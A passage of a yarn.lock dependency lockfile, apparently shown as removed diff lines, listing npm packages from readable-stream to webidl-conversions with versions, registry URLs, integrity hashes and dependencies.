process-nextick-args "~2.0.0" - safe-buffer "~5.1.1" - string_decoder "~1.1.1" - util-deprecate "~1.0.1" - -readable-stream@^3.5.0, readable-stream@^3.6.0: - version "3.6.0" - resolved "https://registry.yarnpkg.com/readable-stream/-/readable-stream-3.6.0.tgz#337bbda3adc0706bd3e024426a286d4b4b2c9198" - integrity sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA== - dependencies: - inherits "^2.0.3" - string_decoder "^1.1.1" - util-deprecate "^1.0.1" - -readdirp@~3.5.0: - version "3.5.0" - resolved "https://registry.yarnpkg.com/readdirp/-/readdirp-3.5.0.tgz#9ba74c019b15d365278d2e91bb8c48d7b4d42c9e" - integrity sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ== - dependencies: - picomatch "^2.2.1" - -refractor@^3.2.0: - version "3.3.1" - resolved "https://registry.yarnpkg.com/refractor/-/refractor-3.3.1.tgz#ebbc04b427ea81dc25ad333f7f67a0b5f4f0be3a" - integrity sha512-vaN6R56kLMuBszHSWlwTpcZ8KTMG6aUCok4GrxYDT20UIOXxOc5o6oDc8tNTzSlH3m2sI+Eu9Jo2kVdDcUTWYw== - dependencies: - hastscript "^6.0.0" - parse-entities "^2.0.0" - prismjs "~1.23.0" - -regenerator-runtime@^0.13.4: - version "0.13.7" - resolved "https://registry.yarnpkg.com/regenerator-runtime/-/regenerator-runtime-0.13.7.tgz#cac2dacc8a1ea675feaabaeb8ae833898ae46f55" - integrity sha512-a54FxoJDIr27pgf7IgeQGxmqUNYrcV338lf/6gH456HZ/PhX+5BcwHXG9ajESmwe6WRO0tAzRUrRmNONWgkrew== - -rehype-raw@^5.1.0: - version "5.1.0" - resolved "https://registry.yarnpkg.com/rehype-raw/-/rehype-raw-5.1.0.tgz#66d5e8d7188ada2d31bc137bc19a1000cf2c6b7e" - integrity sha512-MDvHAb/5mUnif2R+0IPCYJU8WjHa9UzGtM/F4AVy5GixPlDZ1z3HacYy4xojDU+uBa+0X/3PIfyQI26/2ljJNA== - dependencies: - hast-util-raw "^6.1.0" - -remark-gfm@^1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/remark-gfm/-/remark-gfm-1.0.0.tgz#9213643001be3f277da6256464d56fd28c3b3c0d" - integrity sha512-KfexHJCiqvrdBZVbQ6RopMZGwaXz6wFJEfByIuEwGf0arvITHjiKKZ1dpXujjH9KZdm1//XJQwgfnJ3lmXaDPA== - dependencies: - mdast-util-gfm "^0.1.0" - micromark-extension-gfm "^0.3.0" - -remark-parse@^9.0.0: - version "9.0.0" - resolved "https://registry.yarnpkg.com/remark-parse/-/remark-parse-9.0.0.tgz#4d20a299665880e4f4af5d90b7c7b8a935853640" - integrity sha512-geKatMwSzEXKHuzBNU1z676sGcDcFoChMK38TgdHJNAYfFtsfHDQG7MoJAjs6sgYMqyLduCYWDIWZIxiPeafEw== - dependencies: - mdast-util-from-markdown "^0.8.0" - -remark-rehype@^8.0.0: - version "8.1.0" - resolved "https://registry.yarnpkg.com/remark-rehype/-/remark-rehype-8.1.0.tgz#610509a043484c1e697437fa5eb3fd992617c945" - integrity sha512-EbCu9kHgAxKmW1yEYjx3QafMyGY3q8noUbNUI5xyKbaFP89wbhDrKxyIQNukNYthzjNHZu6J7hwFg7hRm1svYA== - dependencies: - mdast-util-to-hast "^10.2.0" - -repeat-string@^1.0.0: - version "1.6.1" - resolved "https://registry.yarnpkg.com/repeat-string/-/repeat-string-1.6.1.tgz#8dcae470e1c88abc2d600fff4a776286da75e637" - integrity sha1-jcrkcOHIirwtYA//Sndihtp15jc= - -ripemd160@^2.0.0, ripemd160@^2.0.1: - version "2.0.2" - resolved "https://registry.yarnpkg.com/ripemd160/-/ripemd160-2.0.2.tgz#a1c1a6f624751577ba5d07914cbc92850585890c" - integrity sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA== - dependencies: - hash-base "^3.0.0" - inherits "^2.0.1" - -safe-buffer@^5.0.1, safe-buffer@^5.1.0, safe-buffer@^5.1.1, safe-buffer@^5.1.2, safe-buffer@^5.2.0, safe-buffer@~5.2.0: - version "5.2.1" - resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6" - integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ== - -safe-buffer@~5.1.0, safe-buffer@~5.1.1: - version "5.1.2" - resolved "https://registry.yarnpkg.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d" - integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g== - -"safer-buffer@>= 2.1.2 < 3", safer-buffer@^2.1.0: - version "2.1.2" - resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a" - integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg== - -scheduler@^0.20.2: - version "0.20.2" - resolved "https://registry.yarnpkg.com/scheduler/-/scheduler-0.20.2.tgz#4baee39436e34aa93b4874bddcbf0fe8b8b50e91" - integrity sha512-2eWfGgAqqWFGqtdMmcL5zCMK1U8KlXv8SQFGglL3CEtd0aDVDWgeF/YoCmvln55m5zSk3J/20hTaSBeSObsQDQ== - dependencies: - loose-envify "^1.1.0" - object-assign "^4.1.1" - -select@^1.1.2: - version "1.1.2" - resolved "https://registry.yarnpkg.com/select/-/select-1.1.2.tgz#0e7350acdec80b1108528786ec1d4418d11b396d" - integrity sha1-DnNQrN7ICxEIUoeG7B1EGNEbOW0= - -semver@^6.0.0: - version "6.3.0" - resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.0.tgz#ee0a64c8af5e8ceea67687b133761e1becbd1d3d" - integrity sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw== - -setimmediate@^1.0.4: - version "1.0.5" - resolved "https://registry.yarnpkg.com/setimmediate/-/setimmediate-1.0.5.tgz#290cbb232e306942d7d7ea9b83732ab7856f8285" - integrity sha1-KQy7Iy4waULX1+qbg3Mqt4VvgoU= - -setprototypeof@1.1.1: - version "1.1.1" - resolved "https://registry.yarnpkg.com/setprototypeof/-/setprototypeof-1.1.1.tgz#7e95acb24aa92f5885e0abef5ba131330d4ae683" - integrity sha512-JvdAWfbXeIGaZ9cILp38HntZSFSo3mWg6xGcJJsd+d4aRMOqauag1C63dJfDw7OaMYwEbHMOxEZ1lqVRYP2OAw== - -sha.js@^2.4.0, sha.js@^2.4.8: - version "2.4.11" - resolved "https://registry.yarnpkg.com/sha.js/-/sha.js-2.4.11.tgz#37a5cf0b81ecbc6943de109ba2960d1b26584ae7" - integrity sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ== - dependencies: - inherits "^2.0.1" - safe-buffer "^5.0.1" - -shell-quote@1.7.2: - version "1.7.2" - resolved "https://registry.yarnpkg.com/shell-quote/-/shell-quote-1.7.2.tgz#67a7d02c76c9da24f99d20808fcaded0e0e04be2" - integrity sha512-mRz/m/JVscCrkMyPqHc/bczi3OQHkLTqXHEFu0zDhK/qfv3UcOA4SVmRCLmos4bhjr9ekVQubj/R7waKapmiQg== - -source-map@0.7.3: - version "0.7.3" - resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.7.3.tgz#5302f8169031735226544092e64981f751750383" - integrity sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ== - -source-map@0.8.0-beta.0: - version "0.8.0-beta.0" - resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.8.0-beta.0.tgz#d4c1bb42c3f7ee925f005927ba10709e0d1d1f11" - integrity sha512-2ymg6oRBpebeZi9UUNsgQ89bhx01TcTkmNTGnNO88imTmbSgy4nfujrgVEFKWpMTEGA11EDkTt7mqObTPdigIA== - dependencies: - whatwg-url "^7.0.0" - -source-map@^0.6.1: - version "0.6.1" - resolved "https://registry.yarnpkg.com/source-map/-/source-map-0.6.1.tgz#74722af32e9614e9c287a8d0bbde48b5e2f1a263" - integrity sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g== - -space-separated-tokens@^1.0.0, space-separated-tokens@^1.1.0: - version "1.1.5" - resolved "https://registry.yarnpkg.com/space-separated-tokens/-/space-separated-tokens-1.1.5.tgz#85f32c3d10d9682007e917414ddc5c26d1aa6899" - integrity sha512-q/JSVd1Lptzhf5bkYm4ob4iWPjx0KiRe3sRFBNrVqbJkFaBm5vbbowy1mymoPNLRa52+oadOhJ+K49wsSeSjTA== - -stacktrace-parser@0.1.10: - version "0.1.10" - resolved "https://registry.yarnpkg.com/stacktrace-parser/-/stacktrace-parser-0.1.10.tgz#29fb0cae4e0d0b85155879402857a1639eb6051a" - integrity sha512-KJP1OCML99+8fhOHxwwzyWrlUuVX5GQ0ZpJTd1DFXhdkrvg1szxfHhawXUZ3g9TkXORQd4/WG68jMlQZ2p8wlg== - dependencies: - type-fest "^0.7.1" - -"statuses@>= 1.5.0 < 2": - version "1.5.0" - resolved "https://registry.yarnpkg.com/statuses/-/statuses-1.5.0.tgz#161c7dac177659fd9811f43771fa99381478628c" - integrity sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow= - -stream-browserify@3.0.0: - version "3.0.0" - resolved "https://registry.yarnpkg.com/stream-browserify/-/stream-browserify-3.0.0.tgz#22b0a2850cdf6503e73085da1fc7b7d0c2122f2f" - integrity sha512-H73RAHsVBapbim0tU2JwwOiXUj+fikfiaoYAKHF3VJfA0pe2BCzkhAHBlLG6REzE+2WNZcxOXjK7lkso+9euLA== - dependencies: - inherits "~2.0.4" - readable-stream "^3.5.0" - -stream-browserify@^2.0.1: - version "2.0.2" - resolved "https://registry.yarnpkg.com/stream-browserify/-/stream-browserify-2.0.2.tgz#87521d38a44aa7ee91ce1cd2a47df0cb49dd660b" - integrity sha512-nX6hmklHs/gr2FuxYDltq8fJA1GDlxKQCz8O/IM4atRqBH8OORmBNgfvW5gG10GT/qQ9u0CzIvr2X5Pkt6ntqg== - dependencies: - inherits "~2.0.1" - readable-stream "^2.0.2" - -stream-http@^2.7.2: - version "2.8.3" - resolved "https://registry.yarnpkg.com/stream-http/-/stream-http-2.8.3.tgz#b2d242469288a5a27ec4fe8933acf623de6514fc" - integrity sha512-+TSkfINHDo4J+ZobQLWiMouQYB+UVYFttRA94FpEzzJ7ZdqcL4uUUQ7WkdkI4DSozGmgBUE/a47L+38PenXhUw== - dependencies: - builtin-status-codes "^3.0.0" - inherits "^2.0.1" - readable-stream "^2.3.6" - to-arraybuffer "^1.0.0" - xtend "^4.0.0" - -stream-parser@^0.3.1: - version "0.3.1" - resolved "https://registry.yarnpkg.com/stream-parser/-/stream-parser-0.3.1.tgz#1618548694420021a1182ff0af1911c129761773" - integrity sha1-FhhUhpRCACGhGC/wrxkRwSl2F3M= - dependencies: - debug "2" - -string-hash@1.1.3: - version "1.1.3" - resolved "https://registry.yarnpkg.com/string-hash/-/string-hash-1.1.3.tgz#e8aafc0ac1855b4666929ed7dd1275df5d6c811b" - integrity sha1-6Kr8CsGFW0Zmkp7X3RJ1311sgRs= - -string_decoder@^1.0.0, string_decoder@^1.1.1: - version "1.3.0" - resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.3.0.tgz#42f114594a46cf1a8e30b0a84f56c78c3edac21e" - integrity sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA== - dependencies: - safe-buffer "~5.2.0" - -string_decoder@~1.1.1: - version "1.1.1" - resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.1.1.tgz#9cf1611ba62685d7030ae9e4ba34149c3af03fc8" - integrity sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg== - dependencies: - safe-buffer "~5.1.0" - -strip-ansi@6.0.0: - version "6.0.0" - resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.0.tgz#0b1571dd7669ccd4f3e06e14ef1eed26225ae532" - integrity sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w== - dependencies: - ansi-regex "^5.0.0" - -style-to-object@^0.3.0: - version "0.3.0" - resolved "https://registry.yarnpkg.com/style-to-object/-/style-to-object-0.3.0.tgz#b1b790d205991cc783801967214979ee19a76e46" - integrity sha512-CzFnRRXhzWIdItT3OmF8SQfWyahHhjq3HwcMNCNLn+N7klOOqPjMeG/4JSu77D7ypZdGvSzvkrbyeTMizz2VrA== - dependencies: - inline-style-parser "0.1.1" - -styled-jsx@3.3.2: - version "3.3.2" - resolved "https://registry.yarnpkg.com/styled-jsx/-/styled-jsx-3.3.2.tgz#2474601a26670a6049fb4d3f94bd91695b3ce018" - integrity sha512-daAkGd5mqhbBhLd6jYAjYBa9LpxYCzsgo/f6qzPdFxVB8yoGbhxvzQgkC0pfmCVvW3JuAEBn0UzFLBfkHVZG1g== - dependencies: - "@babel/types" "7.8.3" - babel-plugin-syntax-jsx "6.18.0" - convert-source-map "1.7.0" - loader-utils "1.2.3" - source-map "0.7.3" - string-hash "1.1.3" - stylis "3.5.4" - stylis-rule-sheet "0.0.10" - -stylis-rule-sheet@0.0.10: - version "0.0.10" - resolved "https://registry.yarnpkg.com/stylis-rule-sheet/-/stylis-rule-sheet-0.0.10.tgz#44e64a2b076643f4b52e5ff71efc04d8c3c4a430" - integrity sha512-nTbZoaqoBnmK+ptANthb10ZRZOGC+EmTLLUxeYIuHNkEKcmKgXX1XWKkUBT2Ac4es3NybooPe0SmvKdhKJZAuw== - -stylis@3.5.4: - version "3.5.4" - resolved "https://registry.yarnpkg.com/stylis/-/stylis-3.5.4.tgz#f665f25f5e299cf3d64654ab949a57c768b73fbe" - integrity sha512-8/3pSmthWM7lsPBKv7NXkzn2Uc9W7NotcwGNpJaa3k7WMM1XDCA4MgT5k/8BIexd5ydZdboXtU90XH9Ec4Bv/Q== - -supports-color@^5.3.0: - version "5.5.0" - resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-5.5.0.tgz#e2e69a44ac8772f78a1ec0b35b689df6530efc8f" - integrity sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow== - dependencies: - has-flag "^3.0.0" - -supports-color@^6.1.0: - version "6.1.0" - resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-6.1.0.tgz#0764abc69c63d5ac842dd4867e8d025e880df8f3" - integrity sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ== - dependencies: - has-flag "^3.0.0" - -supports-color@^7.1.0: - version "7.2.0" - resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da" - integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw== - dependencies: - has-flag "^4.0.0" - -symbol-observable@1.2.0: - version "1.2.0" - resolved "https://registry.yarnpkg.com/symbol-observable/-/symbol-observable-1.2.0.tgz#c22688aed4eab3cdc2dfeacbb561660560a00804" - integrity sha512-e900nM8RRtGhlV36KGEU9k65K3mPb1WV70OdjfxlG2EAuM1noi/E/BaW/uMhL7bPEssK8QV57vN3esixjUvcXQ== - -timers-browserify@^2.0.4: - version "2.0.12" - resolved "https://registry.yarnpkg.com/timers-browserify/-/timers-browserify-2.0.12.tgz#44a45c11fbf407f34f97bccd1577c652361b00ee" - integrity sha512-9phl76Cqm6FhSX9Xe1ZUAMLtm1BLkKj2Qd5ApyWkXzsMRaA7dgr81kf4wJmQf/hAvg8EEyJxDo3du/0KlhPiKQ== - dependencies: - setimmediate "^1.0.4" - -tiny-emitter@^2.0.0: - version "2.1.0" - resolved "https://registry.yarnpkg.com/tiny-emitter/-/tiny-emitter-2.1.0.tgz#1d1a56edfc51c43e863cbb5382a72330e3555423" - integrity sha512-NB6Dk1A9xgQPMoGqC5CVXn123gWyte215ONT5Pp5a0yt4nlEoO1ZWeCwpncaekPHXO60i47ihFnZPiRPjRMq4Q== - -tiny-warning@^1.0.2: - version "1.0.3" - resolved "https://registry.yarnpkg.com/tiny-warning/-/tiny-warning-1.0.3.tgz#94a30db453df4c643d0fd566060d60a875d84754" - integrity sha512-lBN9zLN/oAf68o3zNXYrdCt1kP8WsiGW8Oo2ka41b2IM5JL/S1CTyX1rW0mb/zSuJun0ZUrDxx4sqvYS2FWzPA== - -to-arraybuffer@^1.0.0: - version "1.0.1" - resolved "https://registry.yarnpkg.com/to-arraybuffer/-/to-arraybuffer-1.0.1.tgz#7d229b1fcc637e466ca081180836a7aabff83f43" - integrity sha1-fSKbH8xjfkZsoIEYCDanqr/4P0M= - -to-fast-properties@^2.0.0: - version "2.0.0" - resolved "https://registry.yarnpkg.com/to-fast-properties/-/to-fast-properties-2.0.0.tgz#dc5e698cbd079265bc73e0377681a4e4e83f616e" - integrity sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4= - -to-regex-range@^5.0.1: - version "5.0.1" - resolved "https://registry.yarnpkg.com/to-regex-range/-/to-regex-range-5.0.1.tgz#1648c44aae7c8d988a326018ed72f5b4dd0392e4" - integrity sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ== - dependencies: - is-number "^7.0.0" - -toidentifier@1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/toidentifier/-/toidentifier-1.0.0.tgz#7e1be3470f1e77948bc43d94a3c8f4d7752ba553" - integrity sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw== - -tr46@^1.0.1: - version "1.0.1" - resolved "https://registry.yarnpkg.com/tr46/-/tr46-1.0.1.tgz#a8b13fd6bfd2489519674ccde55ba3693b706d09" - integrity sha1-qLE/1r/SSJUZZ0zN5VujaTtwbQk= - dependencies: - punycode "^2.1.0" - -trough@^1.0.0: - version "1.0.5" - resolved "https://registry.yarnpkg.com/trough/-/trough-1.0.5.tgz#b8b639cefad7d0bb2abd37d433ff8293efa5f406" - integrity sha512-rvuRbTarPXmMb79SmzEp8aqXNKcK+y0XaB298IXueQ8I2PsrATcPBCSPyK/dDNa2iWOhKlfNnOjdAOTBU/nkFA== - -ts-pnp@^1.1.6: - version "1.2.0" - resolved "https://registry.yarnpkg.com/ts-pnp/-/ts-pnp-1.2.0.tgz#a500ad084b0798f1c3071af391e65912c86bca92" - integrity sha512-csd+vJOb/gkzvcCHgTGSChYpy5f1/XKNsmvBGO4JXS+z1v2HobugDz4s1IeFXM3wZB44uczs+eazB5Q/ccdhQw== - -tty-browserify@0.0.0: - version "0.0.0" - resolved "https://registry.yarnpkg.com/tty-browserify/-/tty-browserify-0.0.0.tgz#a157ba402da24e9bf957f9aa69d524eed42901a6" - integrity sha1-oVe6QC2iTpv5V/mqadUk7tQpAaY= - -type-fest@^0.7.1: - version "0.7.1" - resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.7.1.tgz#8dda65feaf03ed78f0a3f9678f1869147f7c5c48" - integrity sha512-Ne2YiiGN8bmrmJJEuTWTLJR32nh/JdL1+PSicowtNb0WFpn59GK8/lfD61bVtzguz7b3PBt74nxpv/Pw5po5Rg== - -typescript@^4.2.3: - version "4.2.3" - resolved "https://registry.yarnpkg.com/typescript/-/typescript-4.2.3.tgz#39062d8019912d43726298f09493d598048c1ce3" - integrity sha512-qOcYwxaByStAWrBf4x0fibwZvMRG+r4cQoTjbPtUlrWjBHbmCAww1i448U0GJ+3cNNEtebDteo/cHOR3xJ4wEw== - -unified@^9.0.0: - version "9.2.1" - resolved "https://registry.yarnpkg.com/unified/-/unified-9.2.1.tgz#ae18d5674c114021bfdbdf73865ca60f410215a3" - integrity sha512-juWjuI8Z4xFg8pJbnEZ41b5xjGUWGHqXALmBZ3FC3WX0PIx1CZBIIJ6mXbYMcf6Yw4Fi0rFUTA1cdz/BglbOhA== - dependencies: - bail "^1.0.0" - extend "^3.0.0" - is-buffer "^2.0.0" - is-plain-obj "^2.0.0" - trough "^1.0.0" - vfile "^4.0.0" - -unist-builder@^2.0.0: - version "2.0.3" - resolved "https://registry.yarnpkg.com/unist-builder/-/unist-builder-2.0.3.tgz#77648711b5d86af0942f334397a33c5e91516436" - integrity sha512-f98yt5pnlMWlzP539tPc4grGMsFaQQlP/vM396b00jngsiINumNmsY8rkXjfoi1c6QaM8nQ3vaGDuoKWbe/1Uw== - -unist-util-generated@^1.0.0: - version "1.1.6" - resolved "https://registry.yarnpkg.com/unist-util-generated/-/unist-util-generated-1.1.6.tgz#5ab51f689e2992a472beb1b35f2ce7ff2f324d4b" - integrity sha512-cln2Mm1/CZzN5ttGK7vkoGw+RZ8VcUH6BtGbq98DDtRGquAAOXig1mrBQYelOwMXYS8rK+vZDyyojSjp7JX+Lg== - -unist-util-is@^4.0.0: - version "4.1.0" - resolved "https://registry.yarnpkg.com/unist-util-is/-/unist-util-is-4.1.0.tgz#976e5f462a7a5de73d94b706bac1b90671b57797" - integrity sha512-ZOQSsnce92GrxSqlnEEseX0gi7GH9zTJZ0p9dtu87WRb/37mMPO2Ilx1s/t9vBHrFhbgweUwb+t7cIn5dxPhZg== - -unist-util-position@^3.0.0: - version "3.1.0" - resolved "https://registry.yarnpkg.com/unist-util-position/-/unist-util-position-3.1.0.tgz#1c42ee6301f8d52f47d14f62bbdb796571fa2d47" - integrity sha512-w+PkwCbYSFw8vpgWD0v7zRCl1FpY3fjDSQ3/N/wNd9Ffa4gPi8+4keqt99N3XW6F99t/mUzp2xAhNmfKWp95QA== - -unist-util-stringify-position@^2.0.0: - version "2.0.3" - resolved "https://registry.yarnpkg.com/unist-util-stringify-position/-/unist-util-stringify-position-2.0.3.tgz#cce3bfa1cdf85ba7375d1d5b17bdc4cada9bd9da" - integrity sha512-3faScn5I+hy9VleOq/qNbAd6pAx7iH5jYBMS9I1HgQVijz/4mv5Bvw5iw1sC/90CODiKo81G/ps8AJrISn687g== - dependencies: - "@types/unist" "^2.0.2" - -unist-util-visit-parents@^3.0.0: - version "3.1.1" - resolved "https://registry.yarnpkg.com/unist-util-visit-parents/-/unist-util-visit-parents-3.1.1.tgz#65a6ce698f78a6b0f56aa0e88f13801886cdaef6" - integrity sha512-1KROIZWo6bcMrZEwiH2UrXDyalAa0uqzWCxCJj6lPOvTve2WkfgCytoDTPaMnodXh1WrXOq0haVYHj99ynJlsg== - dependencies: - "@types/unist" "^2.0.0" - unist-util-is "^4.0.0" - -unist-util-visit@^2.0.0: - version "2.0.3" - resolved "https://registry.yarnpkg.com/unist-util-visit/-/unist-util-visit-2.0.3.tgz#c3703893146df47203bb8a9795af47d7b971208c" - integrity sha512-iJ4/RczbJMkD0712mGktuGpm/U4By4FfDonL7N/9tATGIF4imikjOuagyMY53tnZq3NP6BcmlrHhEKAfGWjh7Q== - dependencies: - "@types/unist" "^2.0.0" - unist-util-is "^4.0.0" - unist-util-visit-parents "^3.0.0" - -unpipe@1.0.0: - version "1.0.0" - resolved "https://registry.yarnpkg.com/unpipe/-/unpipe-1.0.0.tgz#b2bf4ee8514aae6165b4817829d21b2ef49904ec" - integrity sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw= - -url@^0.11.0: - version "0.11.0" - resolved "https://registry.yarnpkg.com/url/-/url-0.11.0.tgz#3838e97cfc60521eb73c525a8e55bfdd9e2e28f1" - integrity sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE= - dependencies: - punycode "1.3.2" - querystring "0.2.0" - -use-mousetrap@^1.0.4: - version "1.0.4" - resolved "https://registry.yarnpkg.com/use-mousetrap/-/use-mousetrap-1.0.4.tgz#9ec635821140e702cc873f41880a5cbd46d1d09a" - integrity sha512-+limiYsm2e1Xs/tnwfEqSCcvh6XTcfLTpCoJFA+mu+btInnlrkFkZ48DLwVGejJdvP5H3Ge79t0bcRKepncvbQ== - dependencies: - "@types/mousetrap" "^1.6.4" - mousetrap "^1.6.5" - -use-subscription@1.5.1: - version "1.5.1" - resolved "https://registry.yarnpkg.com/use-subscription/-/use-subscription-1.5.1.tgz#73501107f02fad84c6dd57965beb0b75c68c42d1" - integrity sha512-Xv2a1P/yReAjAbhylMfFplFKj9GssgTwN7RlcTxBujFQcloStWNDQdc4g4NRWH9xS4i/FDk04vQBptAXoF3VcA== - dependencies: - object-assign "^4.1.1" - -util-deprecate@^1.0.1, util-deprecate@~1.0.1: - version "1.0.2" - resolved "https://registry.yarnpkg.com/util-deprecate/-/util-deprecate-1.0.2.tgz#450d4dc9fa70de732762fbd2d4a28981419a0ccf" - integrity sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8= - -util@0.10.3: - version "0.10.3" - resolved "https://registry.yarnpkg.com/util/-/util-0.10.3.tgz#7afb1afe50805246489e3db7fe0ed379336ac0f9" - integrity sha1-evsa/lCAUkZInj23/g7TeTNqwPk= - dependencies: - inherits "2.0.1" - -util@^0.11.0: - version "0.11.1" - resolved "https://registry.yarnpkg.com/util/-/util-0.11.1.tgz#3236733720ec64bb27f6e26f421aaa2e1b588d61" - integrity sha512-HShAsny+zS2TZfaXxD9tYj4HQGlBezXZMZuM/S5PKLLoZkShZiGk9o5CzukI1LVHZvjdvZ2Sj1aW/Ndn2NB/HQ== - dependencies: - inherits "2.0.3" - -vfile-location@^3.2.0: - version "3.2.0" - resolved "https://registry.yarnpkg.com/vfile-location/-/vfile-location-3.2.0.tgz#d8e41fbcbd406063669ebf6c33d56ae8721d0f3c" - integrity sha512-aLEIZKv/oxuCDZ8lkJGhuhztf/BW4M+iHdCwglA/eWc+vtuRFJj8EtgceYFX4LRjOhCAAiNHsKGssC6onJ+jbA== - -vfile-message@^2.0.0: - version "2.0.4" - resolved "https://registry.yarnpkg.com/vfile-message/-/vfile-message-2.0.4.tgz#5b43b88171d409eae58477d13f23dd41d52c371a" - integrity sha512-DjssxRGkMvifUOJre00juHoP9DPWuzjxKuMDrhNbk2TdaYYBNMStsNhEOt3idrtI12VQYM/1+iM0KOzXi4pxwQ== - dependencies: - "@types/unist" "^2.0.0" - unist-util-stringify-position "^2.0.0" - -vfile@^4.0.0: - version "4.2.1" - resolved "https://registry.yarnpkg.com/vfile/-/vfile-4.2.1.tgz#03f1dce28fc625c625bc6514350fbdb00fa9e624" - integrity sha512-O6AE4OskCG5S1emQ/4gl8zK586RqA3srz3nfK/Viy0UPToBc5Trp9BVFb1u0CjsKrAWwnpr4ifM/KBXPWwJbCA== - dependencies: - "@types/unist" "^2.0.0" - is-buffer "^2.0.0" - unist-util-stringify-position "^2.0.0" - vfile-message "^2.0.0" - -vm-browserify@1.1.2, vm-browserify@^1.0.1: - version "1.1.2" - resolved "https://registry.yarnpkg.com/vm-browserify/-/vm-browserify-1.1.2.tgz#78641c488b8e6ca91a75f511e7a3b32a86e5dda0" - integrity sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ== - -watchpack@2.1.1: - version "2.1.1" - resolved "https://registry.yarnpkg.com/watchpack/-/watchpack-2.1.1.tgz#e99630550fca07df9f90a06056987baa40a689c7" - integrity sha512-Oo7LXCmc1eE1AjyuSBmtC3+Wy4HcV8PxWh2kP6fOl8yTlNS7r0K9l1ao2lrrUza7V39Y3D/BbJgY8VeSlc5JKw== - dependencies: - glob-to-regexp "^0.4.1" - graceful-fs "^4.1.2" - -web-namespaces@^1.0.0: - version "1.1.4" - resolved "https://registry.yarnpkg.com/web-namespaces/-/web-namespaces-1.1.4.tgz#bc98a3de60dadd7faefc403d1076d529f5e030ec" - integrity sha512-wYxSGajtmoP4WxfejAPIr4l0fVh+jeMXZb08wNc0tMg6xsfZXj3cECqIK0G7ZAqUq0PP8WlMDtaOGVBTAWztNw== - -webidl-conversions@^4.0.2: - version "4.0.2" - resolved "https://registry.yarnpkg.com/webidl-conversions/-/webidl-conversions-4.0.2.tgz#a855980b1f0b6b359ba1d5d9fb39ae941faa63ad" - integrity 